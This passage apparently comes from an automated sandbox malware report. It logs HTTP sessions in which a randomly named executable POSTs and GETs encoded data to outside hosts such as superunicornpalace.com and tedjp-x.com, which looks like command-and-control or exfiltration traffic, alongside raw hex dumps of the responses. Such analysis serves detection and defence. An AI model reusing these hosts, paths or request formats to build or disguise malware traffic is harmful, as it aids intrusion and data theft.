7c ab 35 e6 42 e4 5e b7 cb 8b 1c 58 91 d2 20 63 69 4e 62 12 80 15 64 49 77 99 c4 2c 0f ac 7c 9e 57 40 82 8a 18 5e fd 4e 66 80 d2 4c a0 28 2b d2 10 75 6e c6 ae e3 4c d0 c7 52 1f fd ae 00 5e 76 4b e1 ca b5 ca 81 [TRUNCATED] Data Ascii: f81Zk<`q%r$sq3$bZLj %[~=N:UuNX,H~-$~W/(& 5?P}-HxBHM9a}9Pw&%E1 K4s?0)&HQB4))p3Y C>RRi1}-gYDcAk,gVfevMgS\|5B^X ciNbdIw,\|W@^NfL(+unLR^vK,fnwI23g u_]6L@>O7RYb 9{xH4 r$u&l~@nou$=N<,EW{v'5xw}W/yh.qQ_)[WWOOa,rH=AG>ZiS#5O{.rwUpn13lw{Ky3ka<<0Sha0+X,PfT"7iEl2pZ_O5z=x>)G2
Jul 3, 2024 17:58:30.652409077 CEST	1236	IN	Data Raw: 11 29 44 66 ce 20 05 46 04 84 d2 a1 d7 51 91 aa 54 a5 53 9c 1a ab 07 c2 50 86 39 86 49 dd 8e 02 1d 8c 95 60 8f ea 9d f0 57 bc c8 65 ee fc 00 5c 70 0f b0 a0 09 70 41 92 dc d3 53 58 a0 37 44 80 61 3d 90 b8 80 77 91 6e ac 27 1c 38 a7 59 fa 5e 64 8c Data Ascii: )Df FQTSP9I`We\ppASX7Da=wn'8Y^d - 3F0u@D0t>iXAmlc>nz8:8Klc_Zy]o @[!/)U6c@,E`z@>cU'yml\*/
Jul 3, 2024 17:58:30.652420998 CEST	448	IN	Data Raw: e6 71 31 a3 29 ef fe 2a 71 de 2b 9c 2e e1 1c 04 ef 72 41 04 0d ba 0d 86 6e c0 79 f3 d9 0a 78 59 30 8c ac 3b 6b 78 5b d6 60 b7 6a f6 2a 5b 12 08 29 f1 6f 49 1c 97 05 b5 32 5e 99 bd c8 cd b2 fa 28 fb 63 d2 54 ae c2 65 0f 54 85 bd 45 79 75 75 f5 03 Data Ascii: q1)q+.rAnyxY0;kx[`j[)oI2^(cTeTEyuuMf"7yBcxH>u<&A5MdyAR1iB`JZ\|Nl,<@a3zFe=t5ILgLz.gVrrFQk/28"7q\|3c:e=~WrUY$'.
Jul 3, 2024 17:58:30.652611017 CEST	1236	IN	Data Raw: 8e 4c 2b 64 4e 62 30 73 9a 4a ea 68 34 0e c9 a8 5d ee 81 3e d0 d0 64 10 7a e8 26 88 5c 70 a1 5d 2e 2e 12 9a 66 05 37 4b 85 8c 91 74 56 da 30 bc b3 ed b3 74 88 dc 56 4a 73 82 e9 61 15 79 ac 60 ce 64 5d 63 4a af 78 e8 66 34 0d 83 e9 a0 9d a1 34 66 Data Ascii: L+dNb0sJh4]>dz&\p]..f7KtV0tVJsay`d]cJxf44fGC{oWN-CDApw=80&t^<wbt<t3vR=80TC79?r Dv<tC5RaV)v\BiNoCGuG1;;
Jul 3, 2024 17:58:30.652621984 CEST	1236	IN	Data Raw: dc f6 0c e4 67 e4 b4 67 b0 ec a5 94 72 ff d5 12 99 7b 72 55 2e bb 9c f0 fc 1c f6 1c ae e7 e4 ae 67 f0 3c 23 67 3d 83 e5 fb 73 d5 33 48 be 37 47 3d 9b e2 60 6e da b3 60 7b 42 5d a5 c5 fa 8e a0 91 8a 1b fb a9 b6 ec b2 d1 38 75 0f d1 16 f7 7b 21 b4 Data Ascii: ggr{rU.g<#g=s3H7G=`n`{B]8u{!5g\[<Pk#hk4..3{N[rwbu~U~"p9[j^^"&5E4[xvZ+Xj\|ue`nVOm\|jh+oX* +g*
Jul 3, 2024 17:58:30.652955055 CEST	1236	IN	Data Raw: 4e 92 d6 af 6b b9 02 d5 83 eb de ce df 0b 59 2b 2e 35 f3 0f d5 1f dc ad 40 03 f3 2b ee 6f 44 92 dd 3b 40 bb da 59 15 7f 58 f3 bb 2c 99 6b 35 70 5d a3 1a 38 ec c3 32 ad 56 60 66 cc 8b f8 9e 99 14 07 66 8c 9a 3d 68 73 35 7b cf 93 b8 97 b6 62 df 27 Data Ascii: NkY+.5@+oD;@YX,k5p]82V`ff=hs5{b'Oc_R:_=eLXtg}.\$l`qp6PV@K\|`xu+6rdA s"NUX:?nYVv:\|DF2Jm
Jul 3, 2024 17:58:30.652966022 CEST	798	IN	Data Raw: 70 28 59 e2 c7 fb e6 95 64 f9 c4 15 f1 3d fe 47 2b 02 c6 3c bf 4f 4b a8 51 0c fa d2 d1 e4 e8 02 e4 7c 2e af 8d d6 42 92 bf 8e af 49 7b a2 85 10 a3 00 b6 33 69 19 ca 4c 8a ea c7 3b 29 87 76 c6 58 36 3a b0 98 5d e4 1b 23 c9 a0 12 66 6f 57 16 9a a9 Data Ascii: p(Yd=G+<OKQ\|.BI{3iL;)vX6:]#foW?F! Xne!'9%d!*?f~Qin~G[F[(6cby8s~w'Q:ZpoiAp%l8D\fq4fEA/k+fV\aR,Pr;u\|,
Jul 3, 2024 17:58:30.652977943 CEST	1236	IN	Data Raw: 57 f1 c5 54 28 8c cf 20 cd c9 60 4c 7f 29 3b 4e 55 82 85 7a 67 1e 12 34 86 35 15 cb 75 59 c9 32 12 2b 99 51 05 23 1c a5 1e 08 25 2e a0 13 67 43 bf 23 31 c1 be 89 86 f8 9b c6 df f8 a4 84 f3 99 8d 6f f0 99 02 d0 49 34 81 08 30 6a ee 8f 8a 38 5b 82 Data Ascii: WT( `L);NUzg45uY2+Q#%.gC#1oI40j8[Dg\Sy+!XjSHl+r!j,xz/q0S5,jy^rnu:u,=[z5hjPU+qr*/L6}:XL NFZ">Kh`
Jul 3, 2024 17:58:30.652988911 CEST	1236	IN	Data Raw: bc 07 c1 24 6f b9 b3 88 0c e0 a6 93 44 2b 04 3d 38 7a 14 1e 65 ae 8c a7 5b 75 fa 85 9f 8a 3b 87 a3 5e 2f 37 24 9b ad 29 05 66 96 b1 a4 98 3f 53 d1 c2 36 24 e3 48 3b ee c6 53 61 7b 33 30 5d 6b cb 0b ad 61 67 39 70 7c 68 e3 f1 6f 3f da 23 b5 84 1a Data Ascii: $oD+=8ze[u;^/7$)f?S6$H;Sa{30]kag9p\|ho?#8#j$FMN=`>ufV5[v8E<9+&7lcK0`?Tf*Zh_8_q(Lkb`.S^]0vDdGe+T}q:wD$}xz~!Z7
Jul 3, 2024 17:58:30.653523922 CEST	448	IN	Data Raw: 31 11 b9 ab 5f 1b c8 57 41 80 c9 94 e0 0c 86 af a3 13 e4 4f b1 92 41 c5 38 c9 56 b2 aa 92 d2 71 ec 18 59 66 2b a5 d2 70 e3 0d 16 81 73 bd f7 e5 18 ae f7 26 af 8b bd d3 13 7f d1 85 cb fa de 7b 75 bb 37 4b 97 e4 72 1e 8e fe 46 c2 26 a2 85 62 02 29 Data Ascii: 1_WAOA8VqYf+ps&{u7KrF&b)uD+7:2Efcn@iUNk&&U-+=m[dk13@U1}[/7:V\^])-Est#/-Lgx&cpp
Jul 3, 2024 17:58:30.657411098 CEST	1236	IN	Data Raw: 3b 72 a2 7c 7b aa f6 50 9c a1 0f 51 1b 4f e4 b2 d6 4b be e1 da 3d 4c c6 c9 79 72 62 63 52 70 aa 25 2e e3 82 32 e6 0a 38 3e 80 0b 2e d4 3a 3a dc 4a ee 49 28 30 99 55 26 03 41 6b 86 2a 89 91 0f b8 3b d3 0b b3 be d2 c4 b5 16 d4 9e 38 0c 82 3a 25 e1 Data Ascii: ;r\|{PQOK=LyrbcRp%.28>.::JI(0U&Ak;8:%3NGWC .x>/V%ZZ\|=ZOCKRE8>:P=3loo%=7>M_EnO(k'dbF<nI/T?bYj7J=6I+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49760	144.208.124.10	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:58:32.778522968 CEST	1669	OUT	POST /mwa4/ HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Content-Length: 1249 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.superunicornpalace.com Origin: http://www.superunicornpalace.com Referer: http://www.superunicornpalace.com/mwa4/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 4f 64 6a 54 48 74 75 58 3d 4d 49 46 49 4b 70 6e 6e 72 79 5a 51 34 6f 35 78 6d 58 4c 50 66 39 37 6e 6f 72 75 79 58 71 65 63 36 56 4a 30 74 66 61 39 44 66 50 34 30 65 59 73 39 70 48 4b 31 6a 2b 35 67 4c 68 6d 45 72 63 55 32 73 77 35 71 37 79 68 57 70 46 41 68 68 53 65 6a 4e 6e 67 49 4b 43 6f 47 69 45 66 43 2f 2b 78 57 4c 54 2f 6f 38 58 52 57 4e 6f 6c 35 37 53 41 71 59 77 2f 53 6a 49 53 30 7a 4b 77 49 46 38 62 37 34 6f 2f 48 63 4b 77 4a 58 5a 63 46 68 71 59 7a 48 6f 74 77 79 63 4e 45 68 57 73 4e 43 70 6f 48 31 56 33 4c 56 33 50 58 44 32 4b 59 75 7a 69 76 31 62 71 4b 72 58 6b 48 6b 62 64 7a 2f 54 52 34 32 46 66 54 74 7a 6c 39 54 4f 31 33 41 64 30 71 54 62 4c 33 79 48 66 49 62 4a 4c 61 62 57 65 52 37 78 61 43 47 31 45 67 4a 41 6c 4d 72 44 39 56 38 37 44 78 55 39 65 61 32 62 71 78 68 57 48 49 66 46 61 6d 45 62 49 76 4e 4e 4d 45 69 47 57 49 37 30 6a 34 44 35 57 44 4b 62 76 47 32 71 6f 6d 4d 79 32 2b 44 30 42 45 58 4f 74 33 30 43 75 67 33 31 53 5a 30 35 52 79 6a 4e 42 74 55 44 6c 73 6c 34 68 77 4e 32 4e 64 [TRUNCATED] Data Ascii: OdjTHtuX=MIFIKpnnryZQ4o5xmXLPf97noruyXqec6VJ0tfa9DfP40eYs9pHK1j+5gLhmErcU2sw5q7yhWpFAhhSejNngIKCoGiEfC/+xWLT/o8XRWNol57SAqYw/SjIS0zKwIF8b74o/HcKwJXZcFhqYzHotwycNEhWsNCpoH1V3LV3PXD2KYuziv1bqKrXkHkbdz/TR42FfTtzl9TO13Ad0qTbL3yHfIbJLabWeR7xaCG1EgJAlMrD9V87DxU9ea2bqxhWHIfFamEbIvNNMEiGWI70j4D5WDKbvG2qomMy2+D0BEXOt30Cug31SZ05RyjNBtUDlsl4hwN2NdkeLtPMAoC8mrxFaD4fmE6h99zWixvGfRhE7nkHhzXatu4twf5UrW3Kr/NPO4dJIbT4Gj4OiJkizd6qUpQ36xxyXwzas2nnIkweOSK7PdNbA8Y+WIpb+6mtB1Gu8YXwGL1y7/CKiFDaYTMOshS1lazbAJTbcbDW+1qDABf6T0fDK4UoBNYNdz66w+wFL8T/9Nmf9DZK/X+Ds0cKTiHeUXfw7Dj+210mAOE3TJEhLXmReFIkGxAdVKXTuV4Rx9ffTxuC5n9vndVjFZf8b0+vG4+u1fn5MD+NO5NegmMjxQPQu171AsTe25d6Of2qt6YNPux1U6IRco+okRvUQes4PgIrUKRbOantJ0b7AdDAuRq1c2jQABVFIIAzbALMAQa6L21UxBzegVciiauRLCtOEH0JV1qc/2wliEzbRKYK6hBVU8x8+4Rsui368OTS5i++vLsEJ1RXgHec3WtZGXbiazHGZyOy6n5oSchTg2r6B9K5NHKMUtieHCyCbPM90hvkFynCfN3mTY54/+msdG7VSKIWTh4v9VmJU4b2wcvOSUjYRkCA8yiEn48ofBsBfjZt2y7nu46AqB4bkGXw/4Hpt+kA1K7DGxqPW01jG0CQ09WIgIaohncqGYh+fm9EqXywrLn0Qivb/xX8LKdLnAVY9mLmAa63b4PTNrjp [TRUNCATED]
Jul 3, 2024 17:58:33.498534918 CEST	1236	IN	HTTP/1.1 404 Not Found Connection: close expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 content-type: text/html; charset=UTF-8 link: <https://superunicornpalace.com/wp-json/>; rel="https://api.w.org/" x-tec-api-version: v1 x-tec-api-root: https://superunicornpalace.com/wp-json/tribe/events/v1/ x-tec-api-origin: https://superunicornpalace.com transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Wed, 03 Jul 2024 15:58:33 GMT server: LiteSpeed Data Raw: 66 38 31 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b4 5a 6b 8f db b8 92 fd 3c 0d ec 7f 60 ab 71 dd d2 84 92 25 f9 d9 72 94 c1 dc 24 73 71 17 33 9b c1 24 c1 62 91 0e 02 5a 2a d9 4c f4 1a 92 6a bb d7 e3 ff be 20 25 d9 b2 5b 7e a4 3d 9b 4e 3a 16 55 75 4e b1 58 2c b2 48 bf bc 7e f3 ee f5 87 ff f9 fd 2d 9a 8b 24 7e f5 1f 57 2f e5 ff 28 26 e9 cc d7 20 35 3f be d7 50 10 13 ce 7d 2d 48 78 42 b8 00 c6 bf 48 19 4d 09 03 09 e5 ff 09 08 82 82 39 61 1c 84 af 7d fc f0 8b 39 d6 50 77 f3 26 25 09 f8 da 03 85 45 9e 31 a1 a1 20 4b 05 a4 c2 d7 16 34 14 73 3f 84 07 1a 80 a9 1e 30 a2 29 15 94 c4 26 0f 48 0c be 83 51 42 96 34 29 92 ba e1 29 70 94 b1 84 08 33 04 01 81 a0 59 da 20 10 10 43 3e cf 52 f0 d3 ac 52 8c 69 fa 0d 31 88 7d 2d 67 59 44 63 d0 d0 9c 41 e4 6b dd ee 2c c9 67 56 c6 66 dd 65 94 76 1d e7 a9 02 4d 67 53 12 7c ab 35 e6 42 e4 5e b7 cb 8b 1c 58 91 d2 20 63 69 4e 62 12 80 15 64 49 77 99 c4 2c 0f ac 7c 9e 57 40 82 8a 18 5e fd 4e 66 80 d2 4c a0 28 2b d2 10 75 6e c6 ae e3 4c d0 c7 52 1f fd ae 00 5e 76 4b e1 ca b5 ca 81 [TRUNCATED] Data Ascii: f81Zk<`q%r$sq3$bZLj %[~=N:UuNX,H~-$~W/(& 5?P}-HxBHM9a}9Pw&%E1 K4s?0)&HQB4))p3Y C>RRi1}-gYDcAk,gVfevMgS\|5B^X ciNbdIw,\|W@^NfL(+unLR^vK,fnwI23g u_]6L@>O7RYb 9{xH4 r$u&l~@nou$=N<,EW{v'5xw}W/yh.qQ_)[WWOOa,rH=AG>ZiS#5O{.rwUpn13lw{Ky3ka<<0Sha0+X,PfT"7iEl2pZ_O5z=x>)G2
Jul 3, 2024 17:58:33.498780966 CEST	1236	IN	Data Raw: 11 29 44 66 ce 20 05 46 04 84 d2 a1 d7 51 91 aa 54 a5 53 9c 1a ab 07 c2 50 86 39 86 49 dd 8e 02 1d 8c 95 60 8f ea 9d f0 57 bc c8 65 ee fc 00 5c 70 0f b0 a0 09 70 41 92 dc d3 53 58 a0 37 44 80 61 3d 90 b8 80 77 91 6e ac 27 1c 38 a7 59 fa 5e 64 8c Data Ascii: )Df FQTSP9I`We\ppASX7Da=wn'8Y^d - 3F0u@D0t>iXAmlc>nz8:8Klc_Zy]o @[!/)U6c@,E`z@>cU'yml\*/
Jul 3, 2024 17:58:33.498792887 CEST	448	IN	Data Raw: e6 71 31 a3 29 ef fe 2a 71 de 2b 9c 2e e1 1c 04 ef 72 41 04 0d ba 0d 86 6e c0 79 f3 d9 0a 78 59 30 8c ac 3b 6b 78 5b d6 60 b7 6a f6 2a 5b 12 08 29 f1 6f 49 1c 97 05 b5 32 5e 99 bd c8 cd b2 fa 28 fb 63 d2 54 ae c2 65 0f 54 85 bd 45 79 75 75 f5 03 Data Ascii: q1)q+.rAnyxY0;kx[`j[)oI2^(cTeTEyuuMf"7yBcxH>u<&A5MdyAR1iB`JZ\|Nl,<@a3zFe=t5ILgLz.gVrrFQk/28"7q\|3c:e=~WrUY$'.
Jul 3, 2024 17:58:33.498905897 CEST	1236	IN	Data Raw: 8e 4c 2b 64 4e 62 30 73 9a 4a ea 68 34 0e c9 a8 5d ee 81 3e d0 d0 64 10 7a e8 26 88 5c 70 a1 5d 2e 2e 12 9a 66 05 37 4b 85 8c 91 74 56 da 30 bc b3 ed b3 74 88 dc 56 4a 73 82 e9 61 15 79 ac 60 ce 64 5d 63 4a af 78 e8 66 34 0d 83 e9 a0 9d a1 34 66 Data Ascii: L+dNb0sJh4]>dz&\p]..f7KtV0tVJsay`d]cJxf44fGC{oWN-CDApw=80&t^<wbt<t3vR=80TC79?r Dv<tC5RaV)v\BiNoCGuG1;;
Jul 3, 2024 17:58:33.498915911 CEST	350	IN	Data Raw: dc f6 0c e4 67 e4 b4 67 b0 ec a5 94 72 ff d5 12 99 7b 72 55 2e bb 9c f0 fc 1c f6 1c ae e7 e4 ae 67 f0 3c 23 67 3d 83 e5 fb 73 d5 33 48 be 37 47 3d 9b e2 60 6e da b3 60 7b 42 5d a5 c5 fa 8e a0 91 8a 1b fb a9 b6 ec b2 d1 38 75 0f d1 16 f7 7b 21 b4 Data Ascii: ggr{rU.g<#g=s3H7G=`n`{B]8u{!5g\[<Pk#hk4..3{N[rwbu~U~"p9[j^^"&5E4[xvZ+Xj\|ue`nVOm\|jh+oX* +g*
Jul 3, 2024 17:58:33.498929977 CEST	1236	IN	Data Raw: 31 63 30 39 0d 0a cc 3d fd 6f db 46 b2 3f 3b 40 fe 87 05 8d be 97 f4 44 5b f2 47 ec a3 d2 dc 6b 93 2b 5e 81 bb 5e de 6b 0b 3c a0 0a 04 4a a4 6d d6 34 57 20 29 3b ae a0 ff fd 61 66 f6 63 96 5c 52 74 a2 a6 d7 00 77 32 b9 9c 9d 9d 9d 9d 9d af 9d 65 Data Ascii: 1c09=oF?;@D[Gk+^^k<Jm4W );afc\Rtw2e(&BaC8^<):vR[lx~tyt;le9f:UM%h#mUua+SaYwUw,oYa?O~)Y_~gx!-wY"yVi)ry-0
Jul 3, 2024 17:58:33.498939991 CEST	1236	IN	Data Raw: 58 bb c9 0d da 43 1c cb bb c8 4e 35 fb 30 a2 e4 a0 7b 8c 4b bf 59 d3 0f bc db 7f bb 8a ef b2 fc f1 9b 6f 8b 3a 5b fe e5 5d 96 c8 22 fd 8f c3 f1 e9 e5 d4 94 3d eb 74 da 9b 2a 06 3b e5 f0 f5 ba 4e 8b 45 5a 5e 87 57 25 56 87 4c e8 98 f5 1e 78 c2 80 Data Ascii: XCN50{KYo:[]"=t*;NEZ^W%VLx>n{%iHu6VdapVF6K<~JUa.cOA(D2_>UvFlXOfdT"tY(<[WYDsj^2K u
Jul 3, 2024 17:58:33.498950005 CEST	1236	IN	Data Raw: 3d 7c bc bf 7e 70 47 73 93 25 e9 5e 46 03 80 d4 60 bb 47 93 a7 55 a5 47 03 bf 3d a3 69 c2 79 d2 68 b4 ba 33 27 ad 66 8e 1c e8 cc d3 af c0 d5 9b 0d 11 68 bb d5 a6 f2 23 35 fd 20 f0 bd d5 02 e7 9b 8d 81 09 36 f3 76 3b 47 c5 f2 83 e1 b6 27 e1 a7 02 Data Ascii: =\|~pGs%^F`GUG=iyh3'fh#5 6v;G'dc'YqG5krN{ue,<,,Z-gxof}o^z@c.]fx ,3SZ5\\8g7gIvoL:)EwWP/&ZJv<{
Jul 3, 2024 17:58:33.499552011 CEST	1236	IN	Data Raw: fa 91 a3 35 68 35 92 89 db e6 dd 06 02 d3 6a 81 f3 db a3 69 23 dc d2 2c d9 f0 f8 d8 a3 2b b9 c4 9b 00 aa 6c 91 a7 bb 29 e1 6b df c3 d3 48 43 e6 5e ab 0b 1f 80 26 53 37 59 7d e1 ff 8c f5 ab 8e 54 60 77 a0 2a a3 85 e9 eb 8a ee ec 13 78 08 90 4e 4f Data Ascii: 5h5ji#,+l)kHC^&S7Y}T`w*xNO}Xr\|}r%ef6-7mw`(=C,](&jN<fg0A05Pucp@a0zf+OlLX(l,v6_A.#Lk8>>auQ
Jul 3, 2024 17:58:33.499563932 CEST	896	IN	Data Raw: 4f 32 46 9b 04 9b 66 da 84 0e 73 c3 16 aa f4 1a fb 2d dc 11 d5 c4 cc bf 09 b5 9c 19 8d fd c6 b7 49 91 7c b1 bd 71 69 68 9f 36 55 55 d4 65 fa 97 95 d6 66 da db cc ce 0d 00 01 eb d0 0e ee 55 c6 e6 72 57 5c 8b 8e 43 fc 0c 9f b4 50 1c b2 e4 0f f1 63 Data Ascii: O2Ffs-I\|qih6UUefUrW\CPcx\|96Q9+xmD[v>pUk}pG&/e%'&J[iR*^6]7W})v\XtlZV 5n0~)x)iobzANVhH/3c:;vh721}R
Jul 3, 2024 17:58:33.500623941 CEST	1236	IN	Data Raw: 3b 72 a2 7c 7b aa f6 50 9c a1 0f 51 1b 4f e4 b2 d6 4b be e1 da 3d 4c c6 c9 79 72 62 63 52 70 aa 25 2e e3 82 32 e6 0a 38 3e 80 0b 2e d4 3a 3a dc 4a ee 49 28 30 99 55 26 03 41 6b 86 2a 89 91 0f b8 3b d3 0b b3 be d2 c4 b5 16 d4 9e 38 0c 82 3a 25 e1 Data Ascii: ;r\|{PQOK=LyrbcRp%.28>.::JI(0U&Ak;8:%3NGWC .x>/V%ZZ\|=ZOCKRE8>:P=3loo%=7>M_EnO(k'dbF<nI/T?bYj7J=6I+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49761	144.208.124.10	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:58:36.297931910 CEST	355	OUT	GET /mwa4/?Y6vp=3PLd8j&OdjTHtuX=BKtoJfTGgHJzrpd1kXP6JuCpnJS0Vaq/yhZppoO2EP353cwV9Kf7u0HM3e0YD5Mg8P8TnPOgCoBiwA2kvNm9UdnLeQplEPepVbn/svzmQdla2L+ZsYtoIxEUyzWZOW0K59hRfLs= HTTP/1.1 Accept: / Accept-Language: en-US,en;q=0.9 Connection: close Host: www.superunicornpalace.com User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Jul 3, 2024 17:58:36.852780104 CEST	492	IN	HTTP/1.1 301 Moved Permanently Connection: close expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 content-type: text/html; charset=UTF-8 x-redirect-by: WordPress location: http://superunicornpalace.com/mwa4/?Y6vp=3PLd8j&OdjTHtuX=BKtoJfTGgHJzrpd1kXP6JuCpnJS0Vaq/yhZppoO2EP353cwV9Kf7u0HM3e0YD5Mg8P8TnPOgCoBiwA2kvNm9UdnLeQplEPepVbn/svzmQdla2L+ZsYtoIxEUyzWZOW0K59hRfLs= content-length: 0 date: Wed, 03 Jul 2024 15:58:36 GMT server: LiteSpeed

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49762	162.43.101.114	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:58:42.887034893 CEST	599	OUT	POST /rxdf/ HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Content-Length: 213 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.tedjp-x.com Origin: http://www.tedjp-x.com Referer: http://www.tedjp-x.com/rxdf/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 4f 64 6a 54 48 74 75 58 3d 71 37 42 38 6e 32 42 55 4a 33 48 50 32 46 42 68 45 62 49 4e 72 36 35 61 72 53 6c 76 35 51 67 68 48 79 68 49 59 68 4a 4e 38 4f 35 74 6d 6b 65 6e 54 39 77 47 4f 30 58 30 33 64 6f 73 64 6f 59 32 5a 73 30 58 78 67 69 72 32 33 67 71 37 48 64 79 53 37 45 72 4d 54 38 54 39 4b 56 53 38 71 6d 56 50 2b 34 7a 6d 31 79 4b 78 2f 65 6c 62 41 34 72 62 32 32 31 4b 36 35 31 49 4b 72 63 57 58 66 33 31 2b 67 59 39 54 72 57 59 38 34 78 4e 33 58 68 38 44 4d 4b 6c 48 72 69 33 69 50 6b 58 68 69 64 37 49 6a 79 76 43 4a 52 71 51 4a 58 44 48 74 63 4b 71 4c 7a 70 77 72 48 46 36 50 48 61 4e 46 65 41 4c 48 4b 69 6e 6e 73 49 39 64 35 Data Ascii: OdjTHtuX=q7B8n2BUJ3HP2FBhEbINr65arSlv5QghHyhIYhJN8O5tmkenT9wGO0X03dosdoY2Zs0Xxgir23gq7HdyS7ErMT8T9KVS8qmVP+4zm1yKx/elbA4rb221K651IKrcWXf31+gY9TrWY84xN3Xh8DMKlHri3iPkXhid7IjyvCJRqQJXDHtcKqLzpwrHF6PHaNFeALHKinnsI9d5
Jul 3, 2024 17:58:43.897125006 CEST	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 03 Jul 2024 16:00:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 07 Nov 2023 07:43:14 GMT ETag: W/"afe-6098b1f8c138d" Content-Encoding: gzip Data Raw: 35 31 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 8d 56 cf 6f 13 47 14 3e 7b ff 8a 61 a3 4a 25 ca 66 63 27 71 a8 b1 ad 4a 10 0a 2d 90 08 4a a1 a7 6a bc 3b b6 a7 ac 77 ac dd 75 12 b7 ca 1f 63 32 53 d1 12 95 08 50 49 0a 88 aa a0 36 4d 4b 28 ad 82 2a 0e a0 aa 97 26 d0 0b 51 a5 1e fb 66 67 d6 5e 27 06 b1 17 7b df cf ef 7d ef cd db 29 1e 38 3a 73 e4 c3 8f 67 a7 51 3d 6a 78 65 a3 28 7f 90 87 fd 5a c9 fc 14 9b 52 40 b0 0b 3f 0d 12 61 e4 d4 71 10 92 a8 64 4e 9f 3b 62 bd 3f 6b 22 1b 34 11 8d 3c 52 9e 18 9b 40 c7 a8 47 d0 69 16 a1 63 ac e5 bb 45 5b 69 b4 af 8f 1b a4 64 3a ac d9 0e 68 ad 1e 99 c8 61 7e 44 7c 08 76 24 91 a1 0b 67 a7 cf 7c 34 7d 06 9d f0 9d 51 99 3b 4e aa 1c 03 56 61 51 98 f2 3a 71 fa e8 f4 85 91 63 33 27 4f ce 9c 57 40 52 d6 73 94 cc 37 59 90 ce 32 4f dd a8 5e 72 c9 1c 75 88 15 bf 8c 50 9f 46 14 7b 56 e8 60 8f 94 b2 a3 63 23 0d 10 35 5a 8d 9e 44 a2 08 a3 36 d4 15 b5 9b 80 3f 22 0b 91 ed 84 21 c8 87 d1 e7 06 82 a7 81 83 1a f5 0b 68 ec 70 fc da c4 ae 4b fd 5a fc be 68 d0 46 4d 9b 55 58 e0 92 40 8b 5b [TRUNCATED] Data Ascii: 519VoG>{aJ%fc'qJ-Jj;wuc2SPI6MK(&Qfg^'{})8:sgQ=jxe(ZR@?aqdN;b?k"4<R@GicE[id:ha~D\|v$g\|4}Q;NVaQ:qc3'OW@Rs7Y2O^ruPF{V`c#5ZD6?"!hpKZhFMUX@[jk#rqX4lU[yRZ i.;)Yan[GV7Sp#2G)B6A)2OEN&~kyfKq`RRV=x'VPvtBHC)LlaXJ0ul\$7\HEske?A@I`#FHh>N9Q3i+`?5)rhI$EDK>gTQ0u*5VG]4T.k}B ~RG'qVd!B2pyl$)F4kG"%+lb'>"IYtvRO@xZ{5aT=x-R3)Bn#{m]6l0`"A@L[cl<E#SG+I`^u>\|Y\|.uNMWE<qxLFn(i8HUhCN_4^$;+l6M1?tz#~2D\|Wz7t!9)
Jul 3, 2024 17:58:43.897142887 CEST	353	IN	Data Raw: 2c aa 4b e9 01 51 38 13 97 78 61 f4 ea 1a d4 25 39 73 7b db 9a 8c c1 a2 51 b4 e3 6f 2f 7c 83 6d 75 0d 31 8a f2 0b 07 ef 2e 9d 43 d4 2d 99 72 8a e1 5b 2c cf 6a b1 9e 2d 17 25 39 f2 2e 02 9e f2 5f b1 12 c8 3b 8a 54 cb 67 ef 05 05 3c b4 6b ae 2c 2e Data Ascii: ,KQ8xa%9s{Qo/\|mu1.C-r[,j-%9._;Tg<k,.X7w8~_;)wRYP9Ddiu).mswRuma`_lVOLW61oVke_$qm]UY~x?'=:-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49763	162.43.101.114	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:58:45.426419973 CEST	623	OUT	POST /rxdf/ HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Content-Length: 237 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.tedjp-x.com Origin: http://www.tedjp-x.com Referer: http://www.tedjp-x.com/rxdf/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 4f 64 6a 54 48 74 75 58 3d 71 37 42 38 6e 32 42 55 4a 33 48 50 33 6d 4a 68 47 34 77 4e 74 61 35 56 31 43 6c 76 75 41 67 39 48 79 39 49 59 6c 35 64 38 61 56 74 6e 41 61 6e 53 34 4d 47 43 55 58 30 76 4e 6f 74 51 49 5a 34 5a 73 49 78 78 68 65 72 32 33 30 71 37 44 